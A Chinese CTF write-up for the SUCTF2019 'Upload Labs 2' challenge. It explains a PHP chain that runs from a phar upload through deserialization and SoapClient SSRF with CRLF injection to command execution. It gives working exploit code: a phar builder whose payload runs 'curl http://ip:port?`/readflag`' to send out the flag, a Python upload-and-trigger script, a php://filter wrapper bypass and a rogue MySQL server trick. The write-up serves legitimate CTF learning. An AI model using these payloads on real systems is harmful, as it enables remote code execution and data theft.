SUCTF2019_Upload-Labs2题解

  1. 1. 解题思路
  2. 2. 细节
    1. 2.1. <?bypass
    2. 2.2. check函数
    3. 2.3. phar:// 绕过
    4. 2.4. poc:
  3. 3. mysqli 触发phar反序列化
  4. 4. Other
    1. 4.1. XXE 触发 phar
    2. 4.2. 深入理解phar反序列化
    3. 4.3. Fuzz PHP函数
  5. 5. Reference

SUCTF2019的一道web题,从这道题学到了很多.

解题思路

题目给了代码就看着源码做了 [题目代码](https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2)

题目场景:主要是两个功能,文件上传和检测文件类型.

文件上传限制了上传文件的后缀和Content-type, 在check函数里面还对文件内容进行过滤,过滤了<?

admin.php里面存在Ad类,它的__destruct方法里面存在system的调用.显然这道题和反序列化有关系.
admin.php又存在如下的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
if(isset($_POST['admin'])){
$cmd = $_POST['cmd'];

$clazz = $_POST['clazz'];
$func1 = $_POST['func1'];
$func2 = $_POST['func2'];
$func3 = $_POST['func3'];
$arg1 = $_POST['arg1'];
$arg2 = $_POST['arg2'];
$arg2 = $_POST['arg3'];
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
$admin->check();
}
}
else {
echo "You r not admin!";
}

所以要想办法找ssrf, 题目代码利用又没有明显的ssrf, 所以想到了原生类的利用. 关于PHP原生类的利用之前看的比较多的就是l3m0n师傅的文章: https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html , 这里面提到了SoapClient的__call()方法可以触发ssrf.结合http头部的CRLF还可以hack redis.

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'hello', 'location'=>'http://example.com:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // __call

结合SoapClient利用的特征(触发__call),也可以找到File类, 存在__wakeup()函数,$class$a恰好可控,$a->check()触发SoapClient:__call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class File{
public $file_name;
public $type;
public $func = "Check";

function __construct($file_name){
$this->file_name = $file_name;
}

function __wakeup(){
$class = new ReflectionClass($this->func);
$a = $class->newInstanceArgs($this->file_name);
$a->check();
}

function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);
finfo_close($finfo);
}

function __toString(){
return $this->type;
}

}

反序列化链找出来之后还需要一个触发反序列化的点.文件上传+反序列化其实很容易让人想到phar反序列化.
比较困难的点是找出phar反序列化触发点.

我想到的是利用check函数,这个函数内部存在file_get_contents操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class Check{

public $file_name;

function __construct($file_name){
$this->file_name = $file_name;
}

function check(){
$data = file_get_contents($this->file_name);
if (mb_strpos($data, "<?") !== FALSE) {
die("&lt;? in contents!");
}
}
}

调试的时候我才发现.$this->file_name是tmp文件的路径. ( X

image-20210705144954654

所以就需要找其他的可以触发phar反序列化的函数. 接下来的正确思路应该是找一切和文件操作相关的函数.顺着这个思路找应该可以找到getMIME()这个函数 (赛后复盘思路 X

1
2
3
4
5
function getMIME(){
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$this->type = finfo_file($finfo, $this->file_name);//here
finfo_close($finfo);
}

这个函数做题的时候搜到了这篇文章: https://www.anquanke.com/post/id/167140 它也是一个操作文件的原生类,但是这篇文章里面没有提到可以触发phar反序列化. 这里就需要比赛的时候耐心Fuzz了.

然后思路就很清晰了,

  1. 生成phar文件并上传
  2. finfo_file触发反序列化和ssrf
  3. ssrf+CRLF访问admin.php并getshell

细节

<?bypass

正常构造phar文件是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

但是题目过滤了<? , 可以采用下面这种方式bypass

1
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

check函数

Ad类的check函数里面存在一段很诡异的代码.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){
system($this->cmd);
}

后来看出题人博客其实是出题失误才导致这段代码很诡异.后面会提到.

因为check函数会在正常逻辑里面调用,所以传的参数要至少保证题目代码不会异常退出.这里我想到Fuzz PHP内置类的方法来找一个不会使PHP fatal error的调用.可惜失败了.后面会贴出来.

看到网上题解大致有两个思路,一个是利用SplStack,调用它的push方法,不会使程序fatal error. 另一个思路就是利用Mysqli 这个类, 也可以让程序正常运行. 挑一个构造即可.

构造phar文件 poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString('test.txt','text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {
public $file_name = "";
public $func = "SoapClient";

function __construct(){
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl http://ip:port?`/readflag`&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=1';
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri'=>'hello')
];

}}
$object = new File;
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();

phar:// 绕过

func.php存在对file_name的过滤,

1
2
3
4
5
6
7
8
9
10
if (isset($_POST["submit"]) && isset($_POST["url"])) {
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
die("Go away!");
}else{
$file_path = $_POST['url'];
$file = new File($file_path);
$file->getMIME();
echo "<p>Your file type is '$file' </p>";
}
}

使用php filter可以绕过php://filter/convert.base64-encode/resource=phar://./upload/f431f59ceaf6034c69778eddfd220de1/364be8860e8d72b4358b5e88099a935a.png

这个思路在这两天的TCTF2021也见到过. https://buaq.net/go-36784.html ,如下形式:

1
php://filter/convert.quoted-printable-encode/resource=data://,%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf%bf

http://blog.orange.tw/2018/10/hitcon-ctf-2018-one-line-php-challenge.html

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#encoding=utf-8
import requests
url="http://c0ca4470-d665-4741-a289-7c9627ef1a94.node4.buuoj.cn/"
def upload():
upload_data1 = {"file":("test.png",b'test','image/png')}
upload_file2 = {'file':('test.png',open('phar.phar','rb'),'image/png')}

proxies = {
"http":'http://127.0.0.1:8080/',
"https":"http://127.0.0.1:8080/"
}

res = requests.post(url=f"{url}/index.php",data={'upload':'upload'},files=upload_file2,proxies=proxies)
print(res.text)

def get_upload():
res = requests.post(url=f"{url}/func.php",data={
'url':'php://filter/convert.base64-encode/resource=phar://./upload/f431f59ceaf6034c69778eddfd220de1/364be8860e8d72b4358b5e88099a935a.png',
'submit':"提交"
})
print(res.text)

if __name__ == '__main__':
upload() # upload/f528764d624db129b32c21fbca0cb8d6/364be8860e8d72b4358b5e88099a935a.png
get_upload()

在vps上开一个端口监听即可.

mysqli 触发phar反序列化

也就是出题人预期思路, https://xz.aliyun.com/t/6057#toc-4 , 出题和审题失误导致__wakeup被换成了__destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function check(){

$reflect = new ReflectionClass($this->clazz);
$this->instance = $reflect->newInstanceArgs();

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
$reflectionMethod->invoke($this->instance, $this->arg1);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
$reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);

$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
$reflectionMethod->invoke($this->instance, $this->arg3);
}

function __destruct(){ // 这里本来应该是__wakeup
system($this->cmd);
}

之前提到的两个过check函数的类,mysqli和SplStack . 其中mysqli这个类也可以触发phar反序列化.

这个是TSec 2019会议上**@LoRexxar’**师傅分享的议题 https://paper.seebug.org/998/ ,

其中提到的mysqli读文件这个知识点其实很早之前就遇到过,但是忽略了这篇文章里面别的一些点,就比如这道题的触发反序列化. 把恶意mysql服务端代码种的filename改成phar://./upload/xxx/xxx.png 即可. phar文件生成也很简单:

1
2
3
4
5
6
7
8
9
10
<?php
class Ad{
}
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>");
$o = new Ad();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

上传再改恶意mysql服务器所要读取的filename. 其中mysqli类这样传参数实例化:arg2[0]=ip&arg2[1]=select 1&arg2[2]=select 1&arg2[3]=select 1&arg2[4]=3306

1
2
3
4
$m = new mysqli();
$m->init();
$m->real_connect('ip','select 1','select 1','select 1',3306);
$m->query('select 1;');

然后传ip/port等参数就可以接收到flag.

Other

XXE 触发 phar

config.php里面有一行代码防止非预期: libxml_disable_entity_loader(true);

禁止加载外部实体从而禁止XXE反序列化. 直接借用陆队的图:

img

img

test.xml就是图一种的xml.

也可以结合php filter

img

本道题的反射可以构造XXE进而触发phar反序列化.

这里有具体的题目: https://www.anquanke.com/post/id/170299#h2-2

深入理解phar反序列化

在这篇文章里面直接给出了底层的api设计代码: https://paper.seebug.org/680/

img

存在php_var_unserialize()函数的存在,解释了为什么phar元数据可以被反序列化

这篇文章里面给出了具体为什么像file_get_contents这样的函数可以触发phar反序列化.

具体代码以后等深入理解PHP再调( X . 而且这篇文章里面还提到不止MySQL数据库连接会触发,还有Postgres,pgsqlCopyToFile,pg_trace等api.

Fuzz PHP函数

之前提到的fuzz函数,有大师傅能补全的话QQ戳我 (X

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
// var_dump(get_declared_classes()); # SplStack
// 1. 晒出掉所有构造函数里面含有require的类
$classes = get_declared_classes();
foreach ($classes as $class) {
$class = new ReflectionClass($class);
if($class->getConstructor()!=null){
$params = (($class->getConstructor())->getParameters());// 参数
$ok = true;
if($params!=null){
foreach ($params as $param) {
// var_dump($param->isOptional());
if($param->isOptional()==false) $ok=false;
}

if($ok) {
$methods = $class->getMethods();
foreach($methods as $method){
if($method->getParameters()==null) {
//call_user_func(array($class->getName(), $method->getName()));
var_dump($class,$method);
};
}
}

}
}else{
// 直接调用不会fetal error
// $methods = $class->getMethods();
// $test = new $class();
// foreach($methods as $method){
// @var_dump($test->$method);
// }
}
}

Reference

peri0d题解:https://www.cnblogs.com/peri0d/p/12465523.html

出题笔记: https://xz.aliyun.com/t/6057

Phar与Stream Wrapper造成PHP RCE的深入挖掘 https://blog.zsxsoft.com/post/38